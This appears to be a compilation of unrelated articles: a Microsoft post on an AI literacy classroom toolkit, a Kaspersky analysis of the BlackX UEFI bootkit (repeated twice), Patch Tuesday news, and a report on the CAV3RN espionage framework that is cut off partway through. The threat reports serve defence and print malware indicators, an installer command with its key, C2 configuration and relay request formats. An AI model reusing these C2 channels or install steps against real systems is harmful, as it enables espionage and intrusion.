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In an age of AI, deciding what to trust is a foundational skill. Here’s how we’re helping educators teach it.

Launching the expanded AI Classroom Toolkit with Cyberlite during Global Media and Information Literacy Week 

AI is opening new pathways to information, giving people faster access to answers, ideas, and knowledge. At the same time, it’s making it harder to know whether the content we see is authentic. 

Companies that build AI have a responsibility to make it reliable and trustworthy, and that responsibility doesn’t shift to the people who use it. But AI is already shaping how people search, learn, and encounter information. Helping people navigate that reality means building media and AI literacy (MAIL): the judgment to decide whether and how to use AI and what information to trust. These skills are as foundational as AI safety, and educators are asking for help teaching them. 

That’s why, during Global Media and Information Literacy Week, we’re launching the expanded AI Classroom Toolkit: Unlocking Generative AI Safely and Responsibly, created with the online safety organization Cyberlite. It’s part of Microsoft’s broader commitment to make sure AI strengthens human thinking rather than replaces it. It also reflects Microsoft’s focus on education and empowerment, a core pillar of our Safe Participation Framework. 

Title slide: "Classroom Toolkit – Unlocking Generative AI Safely and Responsibly, 2026 Edition," with Microsoft and Cyberlite logos.

What’s new in the AI Classroom Toolkit

The expanded toolkit adds a deeper focus on critical thinking, verification, and media and AI literacy, helping students judge AI outputs and make informed decisions about what to trust online. Together with the original modules, it’s now a single, classroom-ready resource that covers the core of AI safety and literacy. Realistic, scenario-based lessons and activities help students practice these skills in situations they may encounter online: 

  • The Climate Campaign: Gina enters an online challenge to make a campaign for a cause she cares about and finds that some winning entries use AI to show events that never happened. Students sort a feed of real and AI-made posts and practice lateral reading. The lesson: whether a post was made with AI doesn’t decide whether it’s trustworthy. What it claims, and who is behind it, does. 
  • The Helpful Bot: Alex creates an AI help bot inside his online game, then catches it inventing details and collecting players’ personal information. Students learn why AI can get things wrong, how to trace claims to reliable sources, and why they’re responsible for AI-generated content they act on or share. 
  • What Kind of AI User Are You?: An interactive quiz, hosted by Cyberlite, helps students identify their AI habits, strengths, and potential blind spots, and gives them an AI Type to reflect on and discuss. 

“When we created the first Classroom Toolkit: Unlocking Generative AI Safely and Responsibly with Microsoft in 2023, most of the conversation was about using AI safely. Today, the questions young people ask about AI have grown sharper and more personal, like what to believe online or how far to trust a chatbot’s answer,” said Michelle Yao, cofounder of Cyberlite. 

The toolkit also reflects what young people in our co-design sessions with Cyberlite told us: they want to learn by doing, through games, real-life scenarios, and peer discussion. Teachers don’t need to be AI experts, and students don’t need an AI tool in hand to start. 

That approach builds on the reach and results of the original toolkit. Since 2023, the first version has reached educators in 10 countries and 11 languages, including through government and partner learning platforms. In South Korea, 93% of participating educators reported improved knowledge and understanding of ethical issues, privacy, and bias related to AI. 

“Our hope is that every student leaves a little surer of their own judgment, and that everyone feels more confident deciding how AI fits into their lives,” said Yao. 

Section 2 title slide: "Gina's Fight for the Ocean," with an illustration of a young woman wearing a "Skip Straws" T-shirt.

Literacy works alongside product design and policy

Education is one part of the equation. Our commitment to media and AI literacy also shows up in how we design products and the policies we support.  

Last month, we set out five principles for AI in education, including “AI designed to support students’ learning, not replace their thinking.” We also committed to enforceable privacy, safety, and transparency protections for qualifying educational AI products in US school districts. These protections help schools and families understand how these tools work and the controls available to them. 

Media and AI literacy is now a global priority

The Organisation for Economic Co-operation and Development has released a framework for a MAIL assessment beginning in 2029. As part of its Programme for International Student Assessment (PISA), it will examine how students reflect on, analyze, and evaluate information, including AI-generated information. This week in New Delhi, UNESCO is also launching an AI extension of its “Think Critically, Click Wisely” global curriculum, which Microsoft advised on. 

This growing global focus makes the need for support urgent—educators want help, and many aren’t getting it. In Microsoft’s 2026 AI in Education report, 53% of educators and 77% of students say they haven’t had AI training.  

Closing this skills gap matters beyond the classroom. Healthy societies depend on a shared basis of facts, informed public debate, and confident civic participation. As authenticity gets harder to judge, there’s a risk that people start doubting everything, creating what the Digital Inquiry Group calls a “dangerous declaration of permanent uncertainty.” MAIL offers a way through. It builds the confidence to decide what to trust. 

Media and AI literacy for every age

Across Microsoft, we’re helping people build these skills wherever they learn and find information: 

  • In classrooms: Students debate whether to accept, question, or rework an AI tool’s answers in an AI and Critical Thinking lesson from The Economist Educational Foundation, supported by Microsoft. Available alongside other media literacy lessons in Microsoft Learning Zone, the lesson has reached students in 116 countries. 
  • For content creators: UNESCO, with Microsoft’s support, is developing resources to help creator associations train their members in MAIL and is testing them with creators in Nairobi this week.  
  • In our products: Search Progress, built with input from the Digital Inquiry Group, turns research assignments into source-checking practice in Microsoft Teams for Education. 

What’s next 

Through Microsoft Elevate for Educators and local partners, we’ll bring the AI Classroom Toolkit to new audiences, with more languages and localized content rolling out through 2027. We’ll keep evolving it as technology and educators’ needs change. 

Explore the toolkit and supporting resources for educators today.  

AI will keep changing how people find information and the content they encounter. Our goal is to help people meet that change with confident, informed judgment about the AI they use and the information they trust so they can fully take part in civic and democratic life. 

The post In an age of AI, deciding what to trust is a foundational skill. Here’s how we’re helping educators teach it. appeared first on Microsoft On the Issues.

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How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

BlackLotus advertisement

BlackLotus advertisement

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

  • inst.exe, an installer executable
  • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix Description Type
0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
0X03 Task to upload a file to the drive Input
0X04 Uploaded file Output
0X05 Task to download a file to an infected machine Input
0X06 File download status Output
SSSR Contains initial system info Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

  • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
  • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
  • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

  • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
  • A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

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How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

BlackLotus advertisement

BlackLotus advertisement

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

  • inst.exe, an installer executable
  • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix Description Type
0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
0X03 Task to upload a file to the drive Input
0X04 Uploaded file Output
0X05 Task to download a file to an infected machine Input
0X06 File download status Output
SSSR Contains initial system info Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

  • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
  • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
  • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

  • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
  • A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

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Highlights of Microsoft’s October Patch Release | Kaspersky official blog

Microsoft’s October Patch Tuesday update stands out for two reasons. First, the total number of patches has reached four digits for the first time. Second, to help companies better understand the details of the vulnerabilities, Microsoft has decided to group them into risk cohorts. A cohort brings together vulnerabilities that are exploited under the same conditions and affect the same systems. They replace neither the severity rating, nor the individual bulletins for each CVE. While they’re unlikely to be suitable for comprehensive patch prioritization, they will help quickly assess which part of an infrastructure is currently most at risk.

Statistics corner

Of the 1,414 vulnerabilities addressed in the October Patch Tuesday release, 1,102 directly affect the Windows operating system, 134 — Microsoft Office, 36 — SharePoint Server, 22 — SQL Server, and seven — Exchange Server. The vast majority — 677 — lead to privilege escalation, 317 to remote code execution, 40 to security bypass, and 73 to denial of service (DoS).

There are 86 critical vulnerabilities on the list, of which 68 lead to RCE, 14 to privilege escalation, three to spoofing, and one to data leakage. In addition, two vulnerabilities were disclosed before being patched, and one is being exploited in real-world attacks.

CVE-2026-96951 — vulnerability in Windows Shell

The only zero-day vulnerability patched in the October update that attackers are already exploiting in real-world attacks is CVE-2026-96951 in Windows Shell (CVSS severity score: 8.8). Details on how it’s being exploited aren’t yet known; however, according to Microsoft’s description, it involves command injection that allows bypassing a security feature when accessing the system over a network. Microsoft credits experts at both Fujitsu and Anthropic for discovering the vulnerability, so it was likely found using neural networks.

CVE-2026-108398 and CVE-2026-92707: vulnerabilities disclosed before patches were released

Information about these two vulnerabilities was made public before the October update was released. In theory, this could mean that attackers attempted to exploit them ahead of time. These are:

  • CVE-2026-108398 — a vulnerability in the .NET Framework that allows bypassing WDAC protection;
  • CVE-2026-92707 — a vulnerability in the third-party MessagePack-CSharp serialization component, leading to a denial of service (DoS).

However, according to the security bulletins, neither has been observed in actual attacks yet.

What else to pay attention to

Several vulnerabilities patched by the latest update combine potentially serious consequences with relatively simple exploitation. Particular attention should be paid to three flaws that could potentially lead to arbitrary code execution:

What else should be patched?

Microsoft isn’t the only company that releases regular update packages for newly discovered vulnerabilities.

In its October update, Adobe fixed 174 defects in its products, including critical vulnerabilities (CVSS 10) in ColdFusion and Commerce/Magento. These systems are typically accessible from an external network, making them particularly attractive to attackers.

SAP’s October security bulletin lists 20 vulnerabilities, including CVE-2026-89111 — an SSRF vulnerability in the Cloud SDK for Python. This vulnerability, rated CVSS 10, allows attackers to steal OAuth tokens.

How to keep your company safe?

Recently, thanks to neural networks, the number of vulnerabilities detected and patched has been regularly breaking records. To avoid getting overwhelmed by the flood of patches, we recommend using an automated platform for tracking and assessing vulnerabilities . It helps not only identify and fix vulnerabilities, it also prioritizes them based on actual risks and automates the remediation process.

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Microsoft Patches More Than 1,400 Security Flaws

Microsoft today issued updates to fix more than 1,400 security vulnerabilities in its Windows operating systems and other software. Today’s epic patch batch dwarfs September’s record of nearly 1,000 fixes, which was already about ten times the normal monthly patch load from Redmond.

Just one of the weaknesses patched this week is considered a “zero day,” or already exploited in the wild. CVE-2026-96951 is a security feature bypass in the Windows Shell that affects Windows 10 and 11 systems, as well as some Server versions.

Windows 10 users might be wondering if they can still expect security updates after this month. Microsoft had been slated to stop shipping updates for Windows 10 systems in October 2025, but ended up adding another year of free updates after considerable pushback. A few months ago, Microsoft quietly extended that support for another year (until October 2027).

At least 78 of the flaws fixed this month are rated “critical,” meaning they could be exploited with little or no action by the user, and most of those critical bugs allow an attacker to execute code of their choice on the vulnerable system.

While Microsoft said there are no signs anyone is exploiting it yet, a security feature bypass in the .NET Framework (CVE-2026-108398) was publicly disclosed prior to today, potentially giving attackers advance time to work out how to exploit the bug.

Satnam Narang at Tenable said the number of flaws fixed this month far surpasses the previous record-setting year 2020, when Microsoft patched 1,261 CVEs.

“We’ve now crossed the 4,000 CVE mark with two months left to go,” he said.

Microsoft credits large language models for the high volume of bug discovery, and presumably AI gets credit for many of the patches used to fix these flaw. Meanwhile, security experts have been warning that these unusually large patch volleys from Microsoft are placing extra strain on corporate security teams, which often have to test individual updates before deploying them across a network to ensure the fixes don’t cause problems for other software.

Tyler Reguly, associate director of security research and development at Fortra, notes that just 26 Microsoft vulnerabilities appeared in the “Known Exploited Vulnerabilities” (KEV) catalog maintained by the U.S. Cybersecurity & Infrastructure Security Agency (CISA) so far this year, and security teams would do well to prioritize patching those 26 vulnerabilities first.

“Security leaders should focus on exploitable risk, and ask whether their teams have the clarity, capacity and support to act,” Reguly said.

Which vulnerabilities deserve the most scrutiny in your organization? The folks at Cisco Talos have a useful roundup of the more noteworthy flaws that Microsoft fixed today, and of course the SANS Internet Storm Center has a reliable roundup that indexes vulnerabilities by severity, CVE number and affected software.

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Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command Functionality
s_version Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog Enables diagnostic logging at the Debug level.
s_deLog Disables diagnostic logging and sets the logging level to Fatal.
s_write Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet None (0) GIDFailed (1) GoogleFailed (2) DirectFailed (3)
120 (0x78) Google Apps Script Direct HTTPS Direct HTTPS Google Apps Script
130 (0x82) Direct HTTPS Direct HTTPS Direct HTTPS Close the transaction (no channel)
140 (0x8C) Exception Exception Exception Exception
All other values Google Apps Script Google Apps Script Google Apps Script Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
